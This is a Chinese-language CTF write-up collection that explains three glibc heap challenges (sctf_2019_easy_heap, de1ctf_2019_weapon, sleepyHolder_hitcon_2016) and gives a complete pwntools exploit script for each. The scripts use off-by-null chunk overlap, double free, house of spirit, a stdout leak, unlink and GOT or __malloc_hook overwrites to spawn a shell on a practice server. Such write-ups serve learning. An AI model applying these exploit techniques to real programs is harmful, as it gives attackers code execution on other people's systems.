目錄
sctf_2019_easy_heap(off-by-null塊重疊,double free)
這題原題目好像是在Ubuntu16下的,但是BUU上面是Ubuntu18,所以應該更簡單一點
總的來說,這題應該是ciscn_2019_final_3的加強版吧,當然也有更簡單的地方
首先,給了我們一塊rwx的空間
add函數會給你content的地址存放位置,不過我覺得沒什麼用
my_read中,只有長度和size一樣纔會加\x00,而且是off-by-null
利用思路
- 這步和ciscn_2019_final_3
差不多,區別是這題沒有大小限制能直接申請出unsorted bin範圍內的chunk,利用塊重疊申請同一內存區域兩次 - 利用上一步中申請出的同一內存heap[1,2]進行double free,然後house of spirit把shellcode寫進一開始mmap的內存
- 再次利用第一步的辦法,不過這次要把heap[1,2]中的一個放進tcache,這裏我釋放了1,然後利用unsorted bin的切割技術把main_arena+0x60的地址留在tcache的fd,然後編輯2,把最低8比特改爲\x30,使其執行__malloc_hook,然後再申請兩次就把__malloc_hook給申請出來,寫入之前給我們的地址,再次malloc就能執行shellcode了
Exp:
from pwn import *
menu = ">> "
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Pointer Address ")
addr = int(r.recvuntil('\n').strip(), 16)
return addr
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Content: ")
r.send(content)
r = remote("node3.buuoj.cn", 26109)
#r = process("./sctf_2019_easy_heap")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xC48)
x/20gx $rebase(0x202060)
c
''')
elf = ELF("./sctf_2019_easy_heap")
libc = ELF("./libc/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
r.recvuntil("Mmap: ")
my_addr = int(r.recvuntil('\n').strip(), 16)
add(0x508)#0
add(0x68)#1
add(0x5f8)#2
add(0x18)#3
add(0x68)#4
delete(0)
edit(1, 'a'*0x60+p64(0x580))
delete(2)
add(0x508)#0
add(0x68)#2
#pause()
delete(4)
delete(1)
delete(2)
add(0x68)#1
edit(1, p64(my_addr)+'\n')
add(0x68)#2
add(0x68)#4 my_addr
edit(4, asm(shellcraft.sh())+'\n')
add(0x5f8)#5
delete(0)
edit(1, 'a'*0x60+p64(0x580))
delete(1)
delete(5)
pause()
add(0x508)#0
edit(2, '\x30\n')
add(0x68)#1
add(0x68)#5 malloc_hook
edit(5, p64(my_addr)+'\n')
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline('10')
r.interactive()
de1ctf_2019_weapon(UAF塊重疊,_IO_FILE泄露libc)
題目分析
只有添加,刪除和編輯
刪除時指針懸掛
添加時限制大小爲0-0x60
編號爲0-9
漏洞利用
- 申請這麼幾個
add(0, 0x60, p64(0)+p64(0x71))#填入僞造chunk頭部
add(1, 0x60, 'chunk1\n')
add(2, 0x60, p64(0)*3+p64(0x51))#爲了過檢查
- 釋放0和1,UAF編輯1,把fastbin的fd改爲chunk0的payload部分(就是上面僞造的那個,使用partial rewrite),這樣再申請2次0x60大小[3,4]時,chunk1的size部分就可以被4編輯了
- 再把1釋放,然後用4把1的size改爲0x91,再次釋放使其進入unsorted bin,這樣main_arena+0x58就留在了1(fastbin)的fd,再次使用partial rewrite把其覆蓋爲
_IO_2_1_stdout_-0x43
,如下圖所示,利用錯位僞造出的size(最低12位爲0x5dd,這裏需要爆破1個比特)
- 如果上面爆破成功,申請出這塊內存,我們就把
_IO_2_1_stdout_
的內容改爲p64(0xfbad1887) + p64(0)*3 + '\x18'
,然後就能泄露出libc了
- 再來一次doubel free,利用house of spirit把
__malloc_hook
寫入one_gadget
Exp
from pwn import *
menu = "choice >> \n"
def add(index, size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("wlecome input your size of weapon: ")
r.sendline(str(size))
r.recvuntil("input index: ")
r.sendline(str(index))
r.recvuntil("input your name:\n")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("input idx :")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("input idx: ")
r.sendline(str(index))
r.recvuntil("new content:\n")
r.send(content)
#r = remote("node3.buuoj.cn", 27089)
#r = process("./de1ctf_2019_weapon")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xE96)
x/20gx $rebase(0x202060)
c
''')
elf = ELF("./de1ctf_2019_weapon")
libc = ELF("./libc/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
add(0, 0x60, p64(0)+p64(0x71))
add(1, 0x60, 'chunk1\n')
add(2, 0x60, p64(0)*3+p64(0x51))
delete(0)
delete(1)
edit(1, '\x10')
add(3, 0x60, 'a\n')#same 1
add(4, 0x60, 'b\n')
delete(1)
edit(4, p64(0)*11+p64(0x91))
delete(1)
edit(4, p64(0)*11+p64(0x71))
edit(1, '\xdd\xe5')
add(5, 0x60, 'a\n')
payload = 'a'*0x33 + p64(0xfbad1887) + p64(0)*3 + '\x18'
add(6, 0x60, payload)
libc.address = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) + 8 - libc.sym['_IO_2_1_stdout_']
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
success("malloc_hook:"+hex(malloc_hook))
r.sendline('2')
r.recvuntil("input idx :")
r.sendline('1')
delete(0)
delete(1)
add(7, 0x60, p64(malloc_hook-0x23))
add(7, 0x60, p64(malloc_hook-0x23))
add(7, 0x60, p64(malloc_hook-0x23))
add(8, 0x60, 'a'*0x13 + p64(one_gadget))
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("wlecome input your size of weapon: ")
r.sendline('10')
r.recvuntil("input index: ")
r.sendline('9')
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 27089)
try:
pwn()
except:
r.close()
sleepyHolder_hitcon_2016(fastbin_dup_consolidate,unlink)
看來是修改GOT表了
題目分析
還是添加刪除和編輯功能
添加功能大小不能指定,分別爲40,4000,400000
free時候指針懸掛
不過沒法UAF
漏洞利用
這題利用的是一種叫fastbin_dup_consolidate
的辦法
我們知道,Ubuntu16中有對fastbin的double free檢查,之間double free必然報錯,而small bin卻沒有相應檢查,這樣我們如果能把fastbin中的chunk弄到small bin中,再次釋放該chunk又申請回來就能編輯它了
那要怎麼把fastbin弄到small bin中呢,本題中有一個huge的申請,大小爲400000
在進行該申請時,大小一般比topchunk大,因此內存管理器會把fastbin中的Bin放入small bin並且調用mmap,如下
第一次釋放,進入fastbin
申請huge之後,進入small bin
double free
此時我們把它再申請回來,並在其中僞造chunk,使用unlink攻擊把small中地址改爲small-0x18,後面就是修改free的GOT爲puts泄露libc,修改aoti的got爲system獲得shell
Exp
from pwn import *
menu = "3. Renew secret\n"
def add(type, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("2. Big secret\n")
r.sendline(str(type))
r.recvuntil("Tell me your secret: \n")
r.send(content)
def delete(type):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("2. Big secret\n")
r.sendline(str(type))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("2. Big secret\n")
r.sendline(str(index))
r.recvuntil("Tell me your secret: \n")
r.send(content)
r = remote("node3.buuoj.cn", 26115)
#r = process("./sleepyHolder_hitcon_2016")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400DE3
x/20gx 0x6020C0
c
''')
elf = ELF("./sleepyHolder_hitcon_2016")
libc = ELF("./libc/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
small = 0x6020D0
big = 0x6020C0
puts = elf.plt['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']
add(1, 'aa\n')
add(2, 'bb\n')
delete(1)
add(3, 'cc\n')
delete(1)
payload = p64(0) + p64(0x21) + p64(small-0x18) + p64(small-0x10) + p64(0x20)
add(1, payload)
delete(2)
payload = p64(0) + p64(big) + p64(0) + p64(free_got) + p32(1) * 3 + '\n'
edit(1, payload)
edit(1, p64(puts))
payload = p64(atoi_got) + p64(0) + p64(atoi_got) + p32(1) * 3 + '\n'
edit(2, payload)
delete(2)
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = atoi_addr - libc.sym['atoi']
system = libc.sym['system']
success("libc:"+hex(libc.address))
edit(1, p64(system))
r.recvuntil(menu)
r.sendline('sh')
r.interactive()